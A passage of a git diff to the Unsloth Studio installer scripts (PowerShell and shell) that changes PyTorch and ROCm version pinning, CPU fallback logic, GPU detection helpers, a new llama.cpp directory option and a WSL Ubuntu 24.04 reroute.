"gfx1151" = "torchvision>=0.26.0,<0.27.0"; "gfx1150" = "torchvision>=0.26.0,<0.27.0"
|
||||
}
|
||||
$torchaudioFloorMap = @{
|
||||
"gfx1201" = "torchaudio>=2.11.0,<2.12.0"; "gfx1200" = "torchaudio>=2.11.0,<2.12.0"
|
||||
"gfx1151" = "torchaudio>=2.11.0,<2.12.0"; "gfx1150" = "torchaudio>=2.11.0,<2.12.0"
|
||||
}
|
||||
$archFamily = if ($ROCmGfxArch -and $archFamilyMap.ContainsKey($ROCmGfxArch)) { $archFamilyMap[$ROCmGfxArch] } else { $null }
|
||||
if ($archFamily) {
|
||||
$ROCmIndexUrl = "$amdIndexBase/$archFamily/"
|
||||
|
|
@ -2422,10 +2509,10 @@ exit 0
|
|||
if (-not $SkipTorch -and -not $ROCmIndexUrl -and $TorchIndexUrl -like "*/cpu") {
|
||||
Write-Host ""
|
||||
if ($ROCmGfxArch) {
|
||||
# Known AMD arch: install.ps1 lays down CPU PyTorch as a base, then
|
||||
# setup.ps1 swaps in AMD's bundled-runtime GPU ROCm wheels (no HIP SDK).
|
||||
substep "Installing CPU PyTorch as a base -- Studio setup installs GPU ROCm" "Cyan"
|
||||
substep "wheels for $ROCmGfxArch next (bundled runtime; HIP SDK not required)." "Cyan"
|
||||
# Only an unmapped arch reaches here (a mapped one set $ROCmIndexUrl
|
||||
# above). No ROCm torch wheels for this arch (e.g. RDNA2 gfx103X) -> CPU.
|
||||
substep "Installing CPU PyTorch -- no ROCm PyTorch wheels are available for $ROCmGfxArch." "Yellow"
|
||||
substep "PyTorch (training and Transformers inference) runs on CPU on this GPU." "Yellow"
|
||||
} else {
|
||||
if ($HipSdkInstalled -and -not $HasROCm) {
|
||||
substep "Installing CPU-only PyTorch (HIP SDK found but GPU not ROCm-accessible)." "Yellow"
|
||||
|
|
@ -2479,7 +2566,7 @@ exit 0
|
|||
if ($SkipTorch) {
|
||||
# No-torch: install unsloth + unsloth-zoo with --no-deps, then
|
||||
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
|
||||
if ($baseInstallExit -eq 0) {
|
||||
# Resolve pydantic WITH deps so pip pins pydantic-core
|
||||
# to the matching version (no-torch-runtime.txt below
|
||||
|
|
@ -2493,7 +2580,7 @@ exit 0
|
|||
}
|
||||
}
|
||||
} else {
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
|
||||
}
|
||||
if ($baseInstallExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
|
||||
|
|
@ -2520,15 +2607,34 @@ exit 0
|
|||
Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)"
|
||||
substep "installing PyTorch from $ROCmIndexUrl..."
|
||||
$torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
|
||||
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec torchvision torchaudio }
|
||||
# Pin the companions to match $torchSpec; bare names can resolve an
|
||||
# ABI-incompatible torchvision/torchaudio on AMD's per-arch index.
|
||||
$visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
|
||||
$audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
|
||||
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
|
||||
if ($torchInstallExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" $torchInstallExit)
|
||||
# Transient AMD-index failure: fall back to a CPU base so the install
|
||||
# still completes; Studio setup retries ROCm afterwards.
|
||||
substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Studio setup retries ROCm." "Yellow"
|
||||
# --force-reinstall: a failed ROCm install can leave an unpinned ROCm
|
||||
# torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU
|
||||
# torch>= range, so without it uv would keep the ROCm build and only swap
|
||||
# the companions -- a mismatched venv the flavor-repair block won't fix.
|
||||
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl }
|
||||
if ($torchInstallExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
|
||||
}
|
||||
# CPU base is in; drop the ROCm expectation so the flavor-repair
|
||||
# block below won't retry the just-failed index and abort. setup.ps1
|
||||
# reinstalls ROCm afterwards (recomputes its own index URL).
|
||||
$ROCmIndexUrl = $null
|
||||
$ROCmTorchFloor = $null
|
||||
}
|
||||
} else {
|
||||
Write-TauriLog "STEP" "Installing PyTorch"
|
||||
substep "installing PyTorch ($TorchIndexUrl)..."
|
||||
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
|
||||
$torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl }
|
||||
if ($torchInstallExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
|
||||
|
|
@ -2540,7 +2646,7 @@ exit 0
|
|||
if ($SkipTorch) {
|
||||
# No-torch: install unsloth + unsloth-zoo with --no-deps, then
|
||||
# runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
|
||||
if ($baseInstallExit -eq 0) {
|
||||
# Same pydantic-with-deps trick as the migrated branch.
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
|
||||
|
|
@ -2552,7 +2658,7 @@ exit 0
|
|||
}
|
||||
}
|
||||
} elseif ($StudioLocalInstall) {
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" }
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" }
|
||||
} else {
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
|
||||
}
|
||||
|
|
@ -2580,7 +2686,7 @@ exit 0
|
|||
Write-TauriLog "STEP" "Installing unsloth"
|
||||
substep "installing unsloth (this may take a few minutes)..."
|
||||
if ($StudioLocalInstall) {
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto }
|
||||
$baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.2" "unsloth>=2026.7.2" --torch-backend=auto }
|
||||
if ($baseInstallExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
|
||||
|
|
@ -2611,7 +2717,7 @@ exit 0
|
|||
# keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on
|
||||
# "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is
|
||||
# expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx*
|
||||
# is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install
|
||||
# is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install
|
||||
# above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops.
|
||||
if (-not $SkipTorch) {
|
||||
$expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl
|
||||
|
|
@ -2622,8 +2728,12 @@ exit 0
|
|||
# AMD: a migrated venv can keep a stale CPU torch the fresh ROCm path
|
||||
# would have force-reinstalled. Repair from the same repo.amd.com index.
|
||||
$rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
|
||||
# Pin companions like the fresh ROCm path (bare names can pull an
|
||||
# ABI-incompatible torchvision/torchaudio from the per-arch index).
|
||||
$visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
|
||||
$audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
|
||||
substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
|
||||
$torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec torchvision torchaudio }
|
||||
$torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
|
||||
if ($torchFixExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
|
||||
|
|
@ -2632,7 +2742,7 @@ exit 0
|
|||
} elseif ($expectedTorchTag -ne 'rocm') {
|
||||
# CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet.
|
||||
substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow"
|
||||
$torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
|
||||
$torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
|
||||
if ($torchFixExit -ne 0) {
|
||||
Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit)
|
||||
|
|
@ -2740,6 +2850,13 @@ exit 0
|
|||
}
|
||||
$studioArgs = @('studio', 'setup')
|
||||
if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
|
||||
if ($WithLlamaCppDir) {
|
||||
if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
|
||||
Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
|
||||
return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
|
||||
}
|
||||
$env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
|
||||
}
|
||||
$env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
|
||||
# Hand the venv interpreter to setup.ps1 so it reuses the Python we already
|
||||
# resolved and built the venv with, instead of re-probing the system (which
|
||||
|
|
@ -2755,6 +2872,7 @@ exit 0
|
|||
} else {
|
||||
Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
|
||||
}
|
||||
Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
|
||||
Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
|
||||
Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
|
@ -2905,6 +3023,7 @@ exit 0
|
|||
step "launch" "to start later, run:"
|
||||
substep "unsloth studio -p 8888"
|
||||
substep "(add -H 0.0.0.0 to allow network / cloud access)"
|
||||
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
|
||||
Write-Host ""
|
||||
}
|
||||
} else {
|
||||
|
|
@ -2925,6 +3044,7 @@ exit 0
|
|||
substep "unsloth studio -p 8888"
|
||||
}
|
||||
substep "(add -H 0.0.0.0 to allow network / cloud access)"
|
||||
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
|
||||
Write-Host ""
|
||||
}
|
||||
}
|
||||
|
|
|
|||
441
install.sh
441
install.sh
|
|
@ -53,6 +53,11 @@ _VERBOSE=false
|
|||
_SHORTCUTS_ONLY=false
|
||||
_next_is_package=false
|
||||
_next_is_python=false
|
||||
_next_is_llama_cpp_dir=false
|
||||
# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
|
||||
# (the documented piped-install style) is honored; the --with-llama-cpp-dir
|
||||
# flag below overrides it when given.
|
||||
_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
|
||||
for arg in "$@"; do
|
||||
if [ "$_next_is_package" = true ]; then
|
||||
PACKAGE_NAME="$arg"
|
||||
|
|
@ -64,6 +69,11 @@ for arg in "$@"; do
|
|||
_next_is_python=false
|
||||
continue
|
||||
fi
|
||||
if [ "$_next_is_llama_cpp_dir" = true ]; then
|
||||
_WITH_LLAMA_CPP_DIR="$arg"
|
||||
_next_is_llama_cpp_dir=false
|
||||
continue
|
||||
fi
|
||||
case "$arg" in
|
||||
--local) STUDIO_LOCAL_INSTALL=true ;;
|
||||
--package) _next_is_package=true ;;
|
||||
|
|
@ -72,6 +82,7 @@ for arg in "$@"; do
|
|||
--no-torch) _NO_TORCH_FLAG=true ;;
|
||||
--verbose|-v) _VERBOSE=true ;;
|
||||
--shortcuts-only) _SHORTCUTS_ONLY=true ;;
|
||||
--with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
|
||||
esac
|
||||
done
|
||||
|
||||
|
|
@ -148,6 +159,12 @@ run_maybe_quiet() {
|
|||
run_install_cmd() {
|
||||
_label="$1"
|
||||
shift
|
||||
# Installer-pinned index installs (torch) must beat an inherited uv mirror
|
||||
# (#6898): when we pass --default-index, neutralize every uv index env var so
|
||||
# the pinned index wins. Other installs keep the user's mirror.
|
||||
case " $* " in
|
||||
*" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL "$@" ;;
|
||||
esac
|
||||
if _is_verbose; then
|
||||
"$@" && return 0
|
||||
_rc=$?
|
||||
|
|
@ -255,6 +272,10 @@ if [ "$_next_is_python" = true ]; then
|
|||
echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
|
||||
exit 1
|
||||
fi
|
||||
if [ "$_next_is_llama_cpp_dir" = true ]; then
|
||||
echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Validate --package to prevent injection into shell/Python commands.
|
||||
# Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
|
||||
|
|
@ -447,8 +468,12 @@ _on_install_exit() {
|
|||
if [ "$_status" -ne 0 ]; then
|
||||
_restore_studio_venv_replacement
|
||||
fi
|
||||
[ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
|
||||
exit "$_status"
|
||||
}
|
||||
# Empty so an inherited value can never reach the trap's rm; only a temp dir
|
||||
# this script creates below (Apple Silicon, spaced path) is ever removed.
|
||||
_UV_OVERRIDE_TMPDIR=""
|
||||
trap _on_install_exit EXIT
|
||||
|
||||
# ── Helper: download a URL to a file (supports curl and wget) ──
|
||||
|
|
@ -1425,10 +1450,35 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then
|
|||
SKIP_TORCH=true
|
||||
fi
|
||||
|
||||
# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for
|
||||
# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file
|
||||
# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover.
|
||||
_MLX_LM_EXCLUDE_ARG=""
|
||||
|
||||
# Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file).
|
||||
if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
|
||||
_MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3"
|
||||
_OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
|
||||
if [ -f "$_OVERRIDES_FILE" ]; then
|
||||
# uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
|
||||
# truncates it and aborts every later uv call (issue #6503). Hand uv a copy.
|
||||
case "$_OVERRIDES_FILE" in
|
||||
*[[:space:]]*)
|
||||
_UV_OVERRIDE_TMPDIR=$(mktemp -d 2>/dev/null) || _UV_OVERRIDE_TMPDIR=""
|
||||
case "$_UV_OVERRIDE_TMPDIR" in
|
||||
"") ;;
|
||||
*[[:space:]]*) rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true; _UV_OVERRIDE_TMPDIR="" ;;
|
||||
*)
|
||||
if cp "$_OVERRIDES_FILE" "$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" 2>/dev/null; then
|
||||
_OVERRIDES_FILE="$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt"
|
||||
else
|
||||
rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
|
||||
_UV_OVERRIDE_TMPDIR=""
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
export UV_OVERRIDE="$_OVERRIDES_FILE"
|
||||
fi
|
||||
fi
|
||||
|
|
@ -1441,18 +1491,193 @@ elif [ "$OS" = "macos" ]; then
|
|||
fi
|
||||
tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
|
||||
|
||||
# ── Check system dependencies ──
|
||||
# cmake and git are needed by unsloth studio setup to build the GGUF inference
|
||||
# engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux.
|
||||
tauri_log "STEP" "Checking system dependencies"
|
||||
MISSING=""
|
||||
# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in
|
||||
# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded
|
||||
# to 10s. Defined here so the reroute below can use it before _run_bounded exists.
|
||||
_WSL_AMD_GPU_NAME_CACHE=""
|
||||
_wsl_amd_gpu_name() {
|
||||
if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then
|
||||
[ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1
|
||||
printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0
|
||||
fi
|
||||
command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; }
|
||||
_wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name"
|
||||
if command -v timeout >/dev/null 2>&1; then
|
||||
_wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
|
||||
else
|
||||
_wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
|
||||
fi
|
||||
if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi
|
||||
_WSL_AMD_GPU_NAME_CACHE="-"; return 1
|
||||
}
|
||||
|
||||
command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake"
|
||||
command -v git >/dev/null 2>&1 || MISSING="$MISSING git"
|
||||
# ── Bounded command runner ──
|
||||
# Runs a command under a 10s timeout when the `timeout` binary is available,
|
||||
# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
|
||||
# driver init or after a reset) from hanging the installer: a timed-out probe
|
||||
# exits nonzero and is treated exactly like a failed probe. No-op semantics on
|
||||
# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
|
||||
_run_bounded() {
|
||||
if command -v timeout >/dev/null 2>&1; then
|
||||
timeout 10 "$@"
|
||||
else
|
||||
"$@"
|
||||
fi
|
||||
}
|
||||
|
||||
# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
|
||||
# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
|
||||
# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
|
||||
# var, so the probes below cannot see the distinction on their own.
|
||||
_cvd_hides_nvidia() {
|
||||
[ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
|
||||
_cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
|
||||
[ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
|
||||
}
|
||||
|
||||
# ── NVIDIA usable-GPU helper ──
|
||||
# Returns 0 (true) if an NVIDIA GPU is present and usable.
|
||||
# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
|
||||
# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
|
||||
# -- handles PATH gaps, subprocess timeouts, and driver init races that
|
||||
# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
|
||||
# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
|
||||
# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
|
||||
_has_usable_nvidia_gpu() {
|
||||
if _cvd_hides_nvidia; then
|
||||
return 1
|
||||
fi
|
||||
_nvsmi=""
|
||||
if command -v nvidia-smi >/dev/null 2>&1; then
|
||||
_nvsmi="nvidia-smi"
|
||||
elif [ -x "/usr/bin/nvidia-smi" ]; then
|
||||
_nvsmi="/usr/bin/nvidia-smi"
|
||||
fi
|
||||
if [ -n "$_nvsmi" ]; then
|
||||
if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
# Fallback: NVIDIA driver exposes one subdir per GPU under this path.
|
||||
if [ -d /proc/driver/nvidia/gpus ] && \
|
||||
[ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
# Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
|
||||
# with a 24.04 distro present, re-run the install there and stop; else fall through
|
||||
# to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
|
||||
# the STUDIO_HOME mkdir/venv so the origin distro is untouched.
|
||||
_maybe_reroute_strixhalo_to_2404() {
|
||||
[ "${OS:-}" = "wsl" ] || return 0
|
||||
[ "${SKIP_TORCH:-false}" = "false" ] || return 0
|
||||
[ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
|
||||
[ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
|
||||
[ -e /dev/dxg ] || return 0
|
||||
# A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on
|
||||
# this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors
|
||||
# CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps.
|
||||
if _has_usable_nvidia_gpu; then return 0; fi
|
||||
# Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes.
|
||||
if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
|
||||
&& ! _wsl_amd_gpu_name >/dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
# Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
|
||||
if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
|
||||
return 0
|
||||
fi
|
||||
_rr_ver=""
|
||||
[ -r /etc/os-release ] && _rr_ver=$(. /etc/os-release 2>/dev/null; printf '%s' "${VERSION_ID:-}")
|
||||
# The bootstrap (scripts/install_rocm_wsl_strixhalo.sh) dies on any VERSION_ID but
|
||||
# 24.04 and pins the noble repo, so 24.04 is the sole GPU-supported target; leave a
|
||||
# 24.04 user alone. (Working ROCm on other versions was caught by librocdxg above.)
|
||||
case "$_rr_ver" in 24.04) return 0 ;; esac
|
||||
# Distro is now unsupported. If we can't reroute to a 24.04 target, stay CPU-only
|
||||
# AND skip the later origin-distro ROCm bootstrap (it ignores distro version, so it
|
||||
# would otherwise install ROCm into 26.04 etc.).
|
||||
command -v wsl.exe >/dev/null 2>&1 || { UNSLOTH_SKIP_ROCM_WSL_SETUP=1; return 0; }
|
||||
# Route only to an installed Ubuntu-24.04 (bootstrap's only target). Match the whole
|
||||
# line (one distro per line from wsl.exe -l -q), not a substring, so "Ubuntu-24.04-test"
|
||||
# can't masquerade as it and then fail `wsl -d`.
|
||||
# || true: no match is expected, not an error (script runs under set -e).
|
||||
_rr_distros=$(wsl.exe -l -q 2>/dev/null | tr -d '\000\r')
|
||||
_rr_target=$(printf '%s\n' "$_rr_distros" | grep -ixF "Ubuntu-24.04" | head -n1) || true
|
||||
[ -n "$_rr_target" ] || {
|
||||
substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN"
|
||||
substep "No Ubuntu-24.04 WSL distro found; staying CPU-only. Install Ubuntu-24.04 and re-run there for GPU." "$C_WARN"
|
||||
UNSLOTH_SKIP_ROCM_WSL_SETUP=1
|
||||
return 0
|
||||
}
|
||||
|
||||
echo ""
|
||||
substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN"
|
||||
substep "Found an existing $_rr_target distro -- continuing the GPU install there." "$C_OK"
|
||||
# A --local checkout can't be replayed via curl|sh (the repo isn't in the target
|
||||
# distro), so tell the user to re-run there rather than silently run a different install.
|
||||
if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
|
||||
substep "This is a --local install; re-run it from $_rr_target instead:" "$C_WARN"
|
||||
substep " wsl -d $_rr_target -- bash -lc 'cd <your checkout> && ./install.sh --local'" "$C_WARN"
|
||||
substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN"
|
||||
# Unsupported distro, can't reroute a --local checkout: skip the origin ROCm bootstrap.
|
||||
UNSLOTH_SKIP_ROCM_WSL_SETUP=1
|
||||
return 0
|
||||
fi
|
||||
# Forward the caller's options/env (custom package/python/home) so the rerouted
|
||||
# install matches what was asked for, not a default install.
|
||||
_rr_q() { printf "'%s'" "$(printf '%s' "$1" | sed "s/'/'\\\\''/g")"; }
|
||||
_rr_exports="set -o pipefail; export UNSLOTH_WSL_REROUTED=1"
|
||||
[ "$_STUDIO_HOME_REDIRECT" = "env" ] && _rr_exports="$_rr_exports; export UNSLOTH_STUDIO_HOME=$(_rr_q "$STUDIO_HOME")"
|
||||
